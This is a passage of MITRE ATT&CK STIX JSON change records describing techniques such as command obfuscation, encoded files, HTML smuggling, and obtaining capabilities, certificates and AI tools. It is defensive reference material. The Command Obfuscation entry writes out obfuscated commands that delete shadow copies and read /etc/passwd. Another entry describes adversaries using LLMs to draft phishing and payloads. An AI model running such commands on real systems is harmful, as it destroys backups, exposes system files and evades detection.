"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-14 17:36:01.022000+00:00", + "modified": "2024-09-12 19:43:18.873000+00:00", + "name": "Command Obfuscation", + "description": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/010", + "external_id": "T1027.010" + }, + { + "source_name": "Twitter Richard WMIC", + "description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.", + "url": "https://x.com/rfackroyd/status/1639136000755765254" + }, + { + "source_name": "Invoke-Obfuscation", + "description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + }, + { + "source_name": "Invoke-DOSfuscation", + "description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.", + "url": "https://github.com/danielbohannon/Invoke-DOSfuscation" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "Malware Monday VBE", + "description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.", + "url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16" + }, + { + "source_name": "Akamai JS", + "description": "Katz, O. (2020, October 26). Catch Me if You Can\u2014JavaScript Obfuscation. Retrieved March 17, 2023.", + "url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation" + }, + { + "source_name": "Bashfuscator Command Obfuscators", + "description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.", + "url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html" + }, + { + "source_name": "Microsoft PowerShellB64", + "description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.", + "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand" + }, + { + "source_name": "RC PowerShell", + "description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.", + "url": "https://redcanary.com/threat-detection-report/techniques/powershell/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "TruKno", + "Tim Peck", + "George Thomas" + ], + "x_mitre_data_sources": [ + "File: File Metadata", + "Script: Script Execution", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:43:18.873000+00:00\", \"old_value\": \"2023-03-24 15:01:21.117000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.\", \"old_value\": \"Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/rfackroyd/status/1639136000755765254\", \"old_value\": \"https://twitter.com/rfackroyd/status/1639136000755765254\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-29 12:38:17.135000+00:00", + "modified": "2024-10-15 16:32:45.108000+00:00", + "name": "Encrypted/Encoded File", + "description": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/013", + "external_id": "T1027.013" + }, + { + "source_name": "File obfuscation", + "description": "Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.", + "url": "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/" + }, + { + "source_name": "SFX - Encrypted/Encoded File", + "description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.", + "url": "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David Galazin @themalwareman1", + "Andrew Northern, @ex_raritas", + "Jai Minton, @Cyberraiju" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:32:45.108000+00:00\", \"old_value\": \"2024-04-19 04:03:07.164000+00:00\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-05-20 12:20:42.219000+00:00", + "modified": "2024-09-12 19:12:13.006000+00:00", + "name": "HTML Smuggling", + "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/006", + "external_id": "T1027.006" + }, + { + "source_name": "Outlflank HTML Smuggling 2018", + "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.", + "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/" + }, + { + "source_name": "MSTIC NOBELIUM May 2021", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" + }, + { + "source_name": "HTML Smuggling Menlo Security 2020", + "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.", + "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri" + }, + { + "source_name": "nccgroup Smuggling HTA 2017", + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.", + "url": "https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stan Hegt, Outflank", + "Jonathan Boucher, @crash_wave, Bank of Canada", + "Krishnan Subramanian, @krish203", + "Vinay Pidathala" + ], + "x_mitre_data_sources": [ + "File: File Creation" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Web Content Filters", + "Static File Analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:12:13.006000+00:00\", \"old_value\": \"2023-07-14 14:01:41.475000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.\", \"old_value\": \"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/\", \"old_value\": \"https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1048: Application Isolation and Sandboxing" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:56:24.776000+00:00", + "modified": "2024-09-16 16:19:41.568000+00:00", + "name": "Obtain Capabilities", + "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588", + "external_id": "T1588" + }, + { + "source_name": "PegasusCitizenLab", + "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", + "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + }, + { + "source_name": "FireEyeSupplyChain", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" + }, + { + "source_name": "DiginotarCompromise", + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" + }, + { + "source_name": "Recorded Future Beacon Certificates", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/cobalt-strike-servers" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "Analyzing CS Dec 2020", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" + }, + { + "source_name": "NationsBuying", + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Certificate: Certificate Registration", + "Malware Repository: Malware Metadata", + "Internet Scan: Response Content", + "Malware Repository: Malware Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:19:41.568000+00:00\", \"old_value\": \"2021-10-18 12:26:22.831000+00:00\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.\", \"old_value\": \"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.recordedfuture.com/research/cobalt-strike-servers\", \"old_value\": \"https://www.recordedfuture.com/cobalt-strike-servers/\", \"new_path\": \"root['external_references'][4]['url']\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0004: Malware Repository (Malware Content)", + "DS0004: Malware Repository (Malware Metadata)", + "DS0035: Internet Scan (Response Content)", + "DS0037: Certificate (Certificate Registration)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-11 13:37:31.836000+00:00", + "modified": "2024-09-12 19:18:36.583000+00:00", + "name": "Artificial Intelligence", + "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)\n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/007", + "external_id": "T1588.007" + }, + { + "source_name": "MSFT-AI", + "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/" + }, + { + "source_name": "OpenAI-CTI", + "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.", + "url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:18:36.583000+00:00\", \"old_value\": \"2024-04-15 23:49:14.558000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.\", \"old_value\": \"OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/\", \"old_value\": \"https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:14:18.044000+00:00", + "modified": "2024-09-16 16:19:41.567000+00:00", + "name": "Digital Certificates", + "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/004", + "external_id": "T1588.004" + }, + { + "source_name": "DiginotarCompromise", + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" + }, + { + "source_name": "Recorded Future Beacon Certificates", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/cobalt-strike-servers" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "Let's Encrypt FAQ", + "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.", + "url": "https://letsencrypt.org/docs/faq/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Certificate: Certificate Registration", + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:19:41.567000+00:00\", \"old_value\": \"2021-10-16 17:44:09.486000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.\", \"old_value\": \"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.recordedfuture.com/research/cobalt-strike-servers\", \"old_value\": \"https://www.recordedfuture.com/cobalt-strike-servers/\", \"new_path\": \"root['external_references'][2]['url']\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)", + "DS0037: Certificate (Certificate Registration)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:08:33.977000+00:00", + "modified": "2024-09-16 16:20:16.431000+00:00", + "name": "Tool", + "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. 